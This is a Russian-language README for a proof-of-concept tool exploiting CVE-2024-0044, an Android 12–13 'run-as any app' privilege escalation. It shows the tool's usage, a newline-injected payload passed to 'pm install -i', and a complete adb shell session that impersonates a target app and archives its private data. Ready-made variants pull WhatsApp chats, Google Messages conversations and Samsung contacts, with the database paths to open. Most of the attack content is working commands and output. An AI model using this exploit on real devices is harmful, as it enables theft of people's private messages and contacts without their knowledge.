
CVE-2024-0044: уязвимость высокой степени серьезности «run-as any app», затрагивающая Android версии 12 и 13
CVE-2024-0044, обнаруженная в функции createSessionInternal файла PackageInstallerService.java, представляет собой уязвимость высокой степени серьезности, затрагивающую Android версий 12 и 13. Эта уязвимость позволяет атакующему выполнить атаку "run-as any app", что приводит к локальному повышению привилегий без необходимости взаимодействия с пользователем. Проблема возникает из-за неправильной проверки входных данных в функции createSessionInternal. Атакующий может использовать это, манипулируя процессом создания сессии, потенциально получая несанкционированный доступ к конфиденциальным данным и выполняя несанкционированные действия на затронутом устройстве
Эксплойт был обнаружен Meta security
Доказательство концепции было обобщено и опубликовано Tiny hack
Подробности о патче безопасности можно найти в Android security bulletin
python3 cve_2024_0044.py -h
##########################################################################################
###############S%%#####################################################%%S################
###############%++*S##################################################?++?################
################%++*S###############################################S*++?#################
#################%+++%#############################################S*++%##################
##################S*++%###########################################%+++%###################
###################S*++?#########SSS%%?????***?????%%%SS#########%++*S####################
#####################?++*##S%%?**+++++++++++++++++++++++**??%S##?++*S#####################
######################?++**+++++++++++++++++++++++++++++++++++**++*#######################
###################S%?*++++++++++++++++++++++++++++++++++++++++++++?%S####################
#################%?+++++++++++++++++++++++++++++++++++++++++++++++++++*%S#################
##############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++?S###############
############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S#############
##########S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S###########
#########%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##########
#######S*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S########
######%++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*++++++++++++++%#######
#####%++++++++++++++*######%+++++++++++++++++++++++++++++++++%######?++++++++++++++?######
####?+++++++++++++++*######S+++++++++++++++++++++++++++++++++%######?+++++++++++++++?#####
###%+++++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*+++++++++++++++++?####
##S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%###
##*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S##
#%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##
#*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S#
S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%#
usage: cve_2024_0044.py [-h] -P P -A A
CVE-2024-0044: run-as any app @Pl4int3xt
options:
-h, --help show this help message and exit
-P P package name (default: None)
-A A apk file path (default: None)
-P используется для указания имени целевого пакета, от имени которого вы хотите запуститься
-A для указания пути к APK-файлу, который нужно передать на устройство
Запустите инструмент
python3 cve_2024_0044.py -P com.whatsapp -A /home/pl4int3xt/Downloads/F-Droid.apk
Будет сгенерирован файл payload.txt примерно следующего содержания
PAYLOAD="@null
victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Successpl4int3xt ~> adb shell
pixel:/ $ PAYLOAD="@null
> victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pixel:/ $ pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success
pixel:/ $ mkdir /data/local/tmp/wa/
pixel:/ $ touch /data/local/tmp/wa/wa.tar
pixel:/ $ chmod -R 0777 /data/local/tmp/wa/
pixel:/ $ run-as victim
pixel:/data/user/0 $ tar -cf /data/local/tmp/wa/wa.tar com.whatsapp
Создайте временный каталог: mkdir /data/local/tmp/wa/
Создайте временный файл для tar-архива: touch /data/local/tmp/wa/wa.tar
Установите открытые права доступа: chmod -R 0777 /data/local/tmp/wa/, чтобы любой пользователь мог читать, записывать и выполнять в этом каталоге.
Переключите контекст пользователя: run-as victim, чтобы получить те же права, что и пользователь "victim".
Заархивируйте данные целевого приложения: tar -cf /data/local/tmp/wa/wa.tar com.whatsapp, создав tarball каталога данных WhatsApp.
adb pull /data/local/tmp/wa/wa.tar
Вы можете распаковать данные с помощью 7z или любого другого инструмента
Вы можете использовать Whatsapp chat exporter для преобразования в HTML
Это позволяет получить данные WhatsApp без root-доступа на устройстве
Просто измените имя пакета следующим образом:
plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.google.android.apps.messaging -A ~/Down
loads/F-Droid.apk
Следуйте инструкциям выше и после извлечения файла wa.tar распакуйте его и откройте разговоры в com.google.android.apps.messaging/databases/bugle_db с помощью sqlitebrowser или любого другого инструмента
Протестировано на устройствах Samsung. Для других устройств проверьте имя пакета поставщика контактов.
plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.samsung.android.app.contacts -A ~/Downloads/F-Droid.apk
Следуйте инструкциям выше и после извлечения файла wa.tar распакуйте его и откройте контакты в com.samsung.android.providers.contacts/databases/contacts2.db с помощью sqlitebrowser или любого другого инструмента. Файл базы данных содержит информацию обо всех учетных записях электронной почты пользователя вместе со списком контактов.